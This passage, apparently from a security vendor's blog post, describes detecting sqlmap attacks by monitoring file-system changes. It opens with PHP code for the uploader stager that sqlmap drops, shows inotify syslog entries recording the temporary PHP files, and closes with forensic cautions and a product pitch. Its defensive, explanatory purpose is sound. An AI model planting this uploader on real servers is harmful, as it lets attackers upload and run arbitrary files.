if (isset($_REQUEST[“upload”])){$dir=$_REQUEST[“uploadDir”];if (phpversion()<‘4.1.0’){$file=$HTTP_POST_FILES[“file”][“name”];@move_uploaded_file($HTTP_POST_FILES[“file”][“tmp_name”],$dir.”/”.$file) or die();}else{$file=$_FILES[“file”][“name”];@move_uploaded_file($_FILES[“file”][“tmp_name”],$dir.”/”.$file) or die();}@chmod($dir.”/”.$file,0755);echo “File uploaded”;}else {echo “<form action=”.$_SERVER[“PHP_SELF”].” method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=/var/www/html/sqli/> <input type=submit name=upload value=upload></form>”;}?>

That way we can also get content of this file if the attacker will got wider access to system and will delete this file but we will have logs from MySQL on remote log server.

Please note that in real world forensic case this is not recommended to operate on analyzed system, due to possibility of overwriting deleted data. Everything should be analyzed on another, trusted system. Also if the attacker installed back-doors such as rootkits, then system signals can be faked.

Inotify logs, from file system changes, can be found in syslog:

[email protected]_server103:~# grep inotify /var/log/syslog

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuivxv.php CREATE

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuivxv.php OPEN

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuivxv.php ATTRIB

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuivxv.php MODIFY

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuivxv.php CLOSE_WRITE,CLOSE

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuuymj.php CREATE

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuuymj.php OPEN

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuuymj.php ATTRIB

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuuymj.php MODIFY

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuuymj.php CLOSE_WRITE,CLOSE

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuuymj.php OPEN

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuuymj.php ACCESS

Aug 29 10:15:13 victim_server103 inotify: /var/www/tmpuuymj.php CLOSE_NOWRITE,CLOSE

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php CREATE

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php OPEN

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php ATTRIB

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php MODIFY

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php CLOSE_WRITE,CLOSE

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php OPEN

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php CLOSE_NOWRITE,CLOSE

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php OPEN

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpuookm.php CLOSE_NOWRITE,CLOSE

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpbfwce.php MOVED_TO

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpbfwce.php ATTRIB

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpbfwce.php OPEN

Aug 29 10:15:13 victim_server103 inotify: /var/www/html/sqli/tmpbfwce.php CLOSE_NOWRITE,CLOSE

There are a lot operations on files because advanced automated tools like sqlmap use, as mentioned before, staged attacks for better results. File system monitoring is great way to detect attacks on web applications, especially those which lead to hacking the operating system, where the website attack is performed.

At Collective Sense we perform test cases like this everyday, all day long. This helps us find better ways to detect attacks during every single step of the process. As we’ve pointed out, it is always a good choice to perform detection not only on process daemon logs but also on file system changes.

Our Collective Sense Security solutions automate the detection and termination of these and other types of nefarious behaviors. As we’ve repeatedly seen, hackers are very good at what they do. Trying to create rules to stop them based on their prior activities is a path to nowhere. A true solution needs to get in front of their activities, stopping them from exfiltrating the information they are looking for. At Collective Sense, our machine learning based security does just that.